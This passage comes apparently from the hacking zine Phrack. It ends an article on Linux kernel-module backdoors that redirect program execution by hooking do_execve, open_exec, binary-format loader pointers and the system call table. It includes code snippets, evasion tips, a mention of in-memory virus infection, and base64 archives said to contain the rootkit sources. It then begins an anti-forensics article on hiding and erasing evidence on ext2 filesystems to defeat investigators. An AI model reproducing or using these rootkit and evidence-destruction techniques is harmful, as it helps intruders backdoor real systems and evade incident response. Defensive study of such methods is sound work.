A. There is nothing much to say about this one; it is used by [3] and explained in [6]. It might be detected by checking the address pointed to in the system call table. --[ 3.2 - The Obvious Since the system call is architecture dependent, there is a underlying layer handling the execution. The kernel sourcecode represents it in do_execve (~/fs/exec.c). The execve system call can be understood as a wrapper to do_execve. We will replace do_execve: n_do_execve (char *file, char **arvp, char **envp, \ struct pt_regs *regs) ... if (!strcmp (file, O_REDIR_PATH)) { file = strdup (N_REDIR_PATH); } restore_do_execve (); ret = do_execve (file, arvp, envp, regs); redirect_do_execve (); ... To actually redirect the execution we replace do_execve and replace the filename on demand. It is obviously the same approach as wrapping the execve system call. For a implementation see obvious.c in appendix A. No lkm using this technique is known to me. Detecting this one is not as easy as detecting the classic and depends on the technique used to replace it. (Checking for a jump instruction right at function begin is certainly a good idea). --[ 3.3 - The Waiter Upon execution, the binary has to be opened for reading. The kernel gives a dedicated function for this task, open_exec. It will open the binary file and do some sanity checks. As open_exec needs the complete path to the binary to open it this is again easy going. We just replace the filename on demand and call the original function. open_exec is called from within do_execve. To the waiter the same applies as to the obvious. Detection is possible but not trivial. --[ 3.4 - The Nexus After the binary file is opened, its ready to be read, right? Before it is done, the according binary format handler is searched. The handler processes the binary. Normally, this ends in the start of a new process. A binary format handler is defined as following (see ~/include/linux/ binfmts.h): /* * This structure defines the functions that are * used to load the binary formats that linux * accepts. */ struct linux_binfmt { struct linux_binfmt * next; struct module *module; int (*load_binary)(struct linux_binprm *, \ struct pt_regs * regs); int (*load_shlib)(struct file *); int (*core_dump)(long signr, struct pt_regs * regs, \ struct file * file); unsigned long min_coredump; /* minimal dump size */ }; Binary format handlers provide three pointers to functions. One for loading libraries, another for producing core dump files, the third for loading binaries (pfff ...). We replace this pointer. Our new load_binary function looks as follows: int new_load_binary (struct linux_binprm *bin, \ struct pt_regs *regs) { int ret; if (!strcmp (bin->filename, O_REDIR_PATH)) { /* * if a binary, subject to redirection, is about * to be executed just close the file * descriptor and open a new file. do not * forget resetup. */ filp_close (bin->file, 0); bin->file = open_exec (N_REDIR_PATH); prepare_binprm (bin); goto out; } out: return old_load_binary (bin, regs); } But how can we get the binary handlers? They are not exported, if not loaded as module. A possibility is executing and watching a binary of all available binary formats. Since the task structure inside the kernel carries a pointer to the handler for its binary it is possible to collect the pointers. (The handlers form a linked list - it is not really needed to execute one binary of each type; theoretically at least). The reference implementation, nexus.c in appendix A, fetches the first binary handler it gets its hands on. This is reasonable since virtually all linux distributors use homogeneous ELF based user land. What is more, it is very unlikely that the binary format of system binaries change. As used by nexus.c, one way of fetching binary handlers. Note that we do replace a system call but we restore it immediatly after we got our binary handler. This opens a very small time window where the replaced system call might be detected (if tried at all). Of course, we could have fetched the pointer directly in init_module. In other words: the time window is arbitrary small. int n_open (char *file, int flags) { int ret = o_open (file, flags); /* * ... get one. be sure to save (and restore) * the original pointer. having binary hand- * lers pointing to nirvana is no fun. */ elf_bin = current->binfmt; old_load_binary = elf_bin->load_binary; elf_bin->load_binary = &new_load_binary; /* * and restore the system call. */ sys_call_table[__NR_open] = o_open; return ret; } An evil attack would of course replace the core_dump pointer, too. Otherways it may be possible to detect redirection of execution by letting each process, right after creation, coredump. Then one may check properties of the dump and if they match, or not, execution may be reinitalized, or not, respectively. I do not recomment this method to detect redirection, though. An evil virus could wrap the load_binary function for infecting all binaries executed in memory. Even replaced pointers are hard to check if you do not know where they are. If we have a recent System.map file, we can walk the list of binary handlers since we can look up the address of the root entry ("formats" as defined in ~/fs/exec.c) and the handler functions. In other cases we might be out of luck. One might try to collect the unmodified addresses himself to be able to check them later one. Not a good idea ... --[ 3.5 - The Lord What about not redirecting execution at execution time? Where is the logic in not redirecting execution flow when it is exactly what we are doing here? When ELF binaries are executed, the kernel invokes a dynamic linker. It does necessary setup work as loading shared libraries and relocating them. We will try to make an advantage of this. Between execution of a binary at system level and the start of the execution at user level is a gap where the setup described above is done. And as loading of libraries involves mmap'ing and mprotect'ing we already know where we can start. We will just look at these system calls. Shared libraries are loaded to the same (static) address (which might differ from system to system). If a certain address is to be mapped or mprotect'ed by a certain process we restart the execution, with our binary. At this point of execution, the process calling mmap or mprotect is the dynamic linker. That is was the example implementation in appendix A, lord.c, does. Note that we can, of course, look for an arbitrary runtime pattern, there is no need for sticking to mmap or mprotect system calls. It is only of importance to start the new binary before the user can percept what is going on. Note, too, that this technique may be used to execute a binary in before and afterwards of the binary requested to be executed. That might be useful to modify the system enviroment. And finally note that we are not forced to sticking to a distinct runtime pattern. We may change at will the pattern triggering a redirection. I am really curious what people will do to detect execution redirection achieved with this method as it is not sufficient to check for one or two replaced pointers. It is even not sufficient to do execution path analysis as the path can be different for each execution. And it is not enough to search the filesystems for hidden files (which might indicate that, too, execution redirection is going on). Why is it not enough? See appendix B. All employed methods for forensical analysis of execution redirection defeated in one module? We could make the decision from/to where and when (and whoms) execution shall be redirected dependant on an arbitrary state or pattern. This is another handy entry point for an infector. --[ 4 - Conclusion We can take complete control of binary execution. There are many ways to redirect execution, some are easier to detect than others. It has to be asserted that it is not sufficient to check for one or two replaced pointer to get evidence if a system has been backdoored. Even if a system call has not been replaced (not even redirected at all) execution redirection can happen. One might now argue it is possible to search the binary redirected to. It has to be physically present on the harddisk. Programs have been developed to compare the content of a harddisk to the filesystem content shown in user land. Therefore it would be possible to detect even hidden files, as there might be, if a kernel backdoor is in use. That is completely wrong. Most obviously we would keep the binary totally in kernel memory. If our binary needs to be executed, we write it to disk and execute. When finished, we unlink it. Of course, it is also possible to copy the binary just "in place" when it is to be executed. Finally, to prevent pattern matching in kernel memory, we encrypt the data. A approach to this method is shown in appendix B. Under linux we can abuse the proc filesystem for this purpose, too. As long as forensic tools work on with a closed world assumption it will be still possible to evade them. Checking for replaced pointers does not help unless you check all, not only those "believed to be" important (letting alone that pointer checking cannot prove if a function is redirected or not). Developers might better invest their time to develop tools checking possible execution paths. Anomaly detection of kernel behaviour is a more reliable forensical analysis method than pattern matching. --[ 5 - Reference [1] Tripwire http://www.tripwire.com [2] Aide http://www.cs.tut.fi/~rammer/aide.html [3] knark http://www.packetstormsecurity.com/UNIX/penetration/rootkits/ knark-0.59.tar.gz [4] kernel function hijacking http://www.big.net.au/~silvio/kernel-hijack.txt [5] Linux x86 kernel function hooking emulation http://www.phrack.org/show.php?p=58&a=8 [6] LKM - Loadable Linux Kernel Modules http://www.thehackerschoice.com/download.php?t=p&d=LKM_HACKING.html --[ Appendix A: stories.tgz.uu <++> ./stories.tgz.uu begin-base64 644 stories.tgz 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 BRVUUEE/Ef0XupwxUgBQAAA= ==== <--> --[ Appendix B: fluc.c.gz.uu <++> ./fluc.c.gz.uu begin-base64 644 fluc.c.gz.uu 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 ==== <--> EOF ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x06 of 0x12 |=--------------=[ Defeating Forensic Analysis on Unix ]=----------------=| |=-----------------------------------------------------------------------=| |=-------------=[ the grugq ]=----------------=| |=--------------------[ www.anti-forensics.com ]=------------------------=| --[ Contents 1 - Introduction 1.1 - Generic Unix File Systems 1.2 - Forensics 2 - Anti-Forensics 3 - Runefs 3.1 - Creating hidden space 3.2 - Using hidden space 3.3 - TCT unclear on ext2fs specifications 4 - The Defiler's Toolkit 4.1 - Necrofile 4.1.1 - TCT locates deleted inodes 4.1.2 - Necrofile locates and eradicates deleted inodes 4.1.3 - TCT unable to locate non-existant data 4.2 - Klismafile 4.2.1 - fls listing deleted directory entries 4.2.2 - Klismafile cleaning deleted directory entries 4.2.3 - fls unable to find non-existant data 5 - Conclusion 6 - Greets 7 - References 8 - Appendix 8.1 - The Ext2fs 8.2 - runefs.tar.gz (uuencoded) 8.3 - tdt.tar.gz (uuencoded) --[ 1 - Introduction Anti-forensics: the removal, or hiding, of evidence in an attempt to mitigate the effectiveness of a forensics investigation. Digital forensic analysis is rapidly becoming an integral part of incident response, capitalising on a steady increase in the number of trained forensic investigators and forensic toolkits available. Strangly, despite the increased interest in, and focus on, forensics within the information security industry, there is surprisingly little discussion of anti-forensics. In an attempt to remedy the lack of coverage in the literature, this article presents anti-forensic strategies to defeat digital forensic analysis on Unix file systems. Included are example implementations of these strategies targeting the most common Linux file system -- ext2fs. To facilitate a useful discussion of anti-forensic strategies it is important that the reader possess certain background information. In particular, the understanding of anti-forensic file system sanitization requires the comprehension of basic Unix file system organisation. And, of course, the understanding of any anti-forensic theory demands at least a rudimentary grasp of digital forensic methodology and practise. This article provides a limited introduction to both Unix file systems and digital forensics. Space constraints, however, limit the amount of coverage available to these topics, and the interested reader is directed to the references, which discuss them in greater depth. ----[ 1.1 - Generic Unix File Systems This section will describe basic Unix file system theory (not focussing on any specific implementation), discussing the meta-data structures used to organise the file system internally. Files within the Unix OS are continuous streams of bytes of arbitrary length and are the main abstraction used for I/O. This article will focus on files in the more general sense of data stored on disk and organised by a file system. The data on a disk compriising a Unix file systems is commonly divided into two groups, information about the files and the data within the files. The organizational and accounting information (normally only visible only to the kernel) is called "meta-data", and includes the super-block, inodes and directory files. The content stored in the files is simply called "data". To create the abstraction of a file the kernel has to transparently translate data stored across one or more sectors on a hard disk into a seemless stream of bytes. The file system is used to keep track of which, and in what order, these sectors should be group together into a file. Additionally, these sector groups need to be kept seperate, and individually distinguishable to the operating system. For this reason there are several types of meta-data, each responsible for accomplishing one of these various tasks. The content of a file is stored on data blocks which are logical clusters of hard disk sectors. The higher the number of sectors per data block the faster the speed of the disk I/O, improving the file system's performance. At the same time, the larger the data blocks the larger the disk space wasted for files which don't end on block boundaries. Modern file systems typically compromise with block size of 4096 or 8192 bytes, and combat the disk wastage with "fragments" (something not dealt with here). The portion of the disk dedicated to the data blocks is organised as an array, and blocks are referred to by their offsets within this array. The state of a given block, i.e. free vs. allocated, is stored in a bitmap called the "block bitmap". Data blocks are clustered and organised into files by inodes. Inodes are the meta-data structure which represent the user visible files; one for each unique file. Each inode contains an array of block pointers (that is, indexes into the data block array) and various other information about the file. This additional information about the file includes: the UID; GID; size; permissions; modification/access/creation (MAC) times, and some other data. The limited amount of space available to inodes means the the block pointer array can only contain a small number of pointers. To allow file sizes to be of substantial length, inodes employ "indirect blocks". An indirect block acts as an extension to the block array, storing additional pointers. Doubly and trebly indirect blocks contain block pointers to further indirect blocks, and doubly indirect blocks respectively. Inodes are stored in an array called the inode table, and are referred to by their 0-based indexes within this table. The state of an inode, i.e. free vs. allocated, is stored in a bitmap called, imaginitively, the "inode bitmap". Files, that is, inodes, are associated with file names by special structures called directory entries stored within directory files. These structures are stored contigously inside the directory file. Directory entries have a basic structure of: struct dirent { int inode; short rec_size; short name_len; char file_name[NAME_LEN]; }; The 'inode' element of the dirent contains the inode number which is linked with the file name, stored in 'file_name'. To save space, the actual length of the file name is recorded in 'name_len' and the remaining space in the file_name array is used by the next directory entry structure. The size of a dirent is usually rounded up to the closest power of two, and this size is stored in 'rec_size'. When a file name/inode link is removed, the inode value is set to 0 and the rec_size of the preceding dirent is extended to encompass the deleted dirent. This has the effect of storing the names of deleted files inside directory files. Everytime an file name is linked with a file name, and internal counter within the inode is incremented. Likewise, everytime a link is removed, this counter is decremented. When this counter reaches 0, there are no references to the inode from within the directory structure; the file is deleted. Files which have been deleted can safely have their resources, the data blocks and the inode itself, freed. This is accomplished by marking the appropriate bitmaps. Directories files themselves are logically organised as a tree starting from a root directory. This root directory file is associated with a known inode (inode 2) so that the kernel can locate it, and mount the file system. To mount a file system the kernel needs to know the size and locations of the meta-data. The first piece of meta-data, the super block, is stored at a known location. The super-block contains information such as the number of inodes and blocks, the size of a block, and a great deal of additional information. Based on the data within the super block, the kernel is able to calculate the locations and sizes of the inode table and the data portion of the disk. For performance reasons, no modern file system actually has just one inode table and one block array. Rather inodes and blocks are clustered together in groups spread out across the disk. These groups usually contain private bitmaps for their inodes and blocks, as well as copies of the superblock to aid recovery in case of catastrophic data loss. Thus concludes the whirlwind tour of a generic unix file system. A specific implementation is described in Appendix A: The Second Extended File System. The next section will provide an introduction to digital file system forensics. ----[ 1.2 - Forensics Digital forensic analysis on a file system is conducted to gather evidence for some purpose. As stated previously, this purpose is irrelevant to this discussion because anti-forensics theory shouldn't rely on the intended use of the evidence; it should focus on preventing the evidence from being gathered. That being said, ignorance as to the reasons behind an analysis provides no benefit, so we will examine the two primary motivators behind an investigation. The purpose of an incident response analysis of a file system is either casual, or legal. These terms are not the standard means to describing motives and because there are significant differences between the two, some explanation is in order. Legal investigations are to aid a criminal prosecution. The strict requirements on evidence to be submitted to a court of law make subversion of a legal forensic investigations fairly easy. For instance, merely overwriting the file system with random data is sufficient to demonstrate that none of the data gathered is reliable enough for submission as evidence. Casual investigations do not have as their goal the criminal prosecution of an individual. The investigation is executed because of interest on the part of the forensic analyst, and so the techniques, tools and methodology used are more liberally inclined. Subverting a casual forensic analysis requires more effort and skill because there are no strict third party requirements regarding the quality or quantity of evidence. Regardless of the intent of the forensics investigation, the steps followed are essentially the same: * the file system needs to be captured * the information contained on it gathered * this data parsed into evidence * this evidence examined. This evidence is both file content (data), and information about the file(s) (meta-data). Based on the evidence retrieved from the file system the investigator will attempt to: * gather information about the individual(s) involved [who] * determine the exact nature of events that transpired [what] * construct a timeline of events [when] * discover what tools or exploits where used [how] As an example to how the forensics process works, the example of the recovery of a deleted file will be presented. A file is deleted on a Unix file system by decrementing the inode's internal link count to 0. This is accomplished by removing all directory entry file name inode pairs. When the inode is deleted, the kernel will mark is resources as available for use by other files -- and that is all. The inode will still contain all of the data about the file which it referenced, and the data blocks it points to will still contain file content. This remains the case until they have been reallocated, and reused; overwriting this residual data. Given this dismal state of affairs, recovering a deleted file is trivial for the forensic analyst. Simply searching for inodes which have some data (i.e. are not virgin inodes), but have a link count of 0 reveals all deleted inodes. The block pointers can then be followed up and the file contents (hopefully) recovered. Even without the file content, a forensic analyst can learn much about what happened on a file system with only the meta-data present in the directory entries and inodes. This meta-data is not accessable through the kernel system call interface and thus is not alterable by normal system tools (this is not strictly true, but is accurate enough from a forensics POV). Unfortunately, accomplishing this is extremely difficult, if not impossible, when the forensic analyst is faced with a hostile anti-forensics agent. The digital 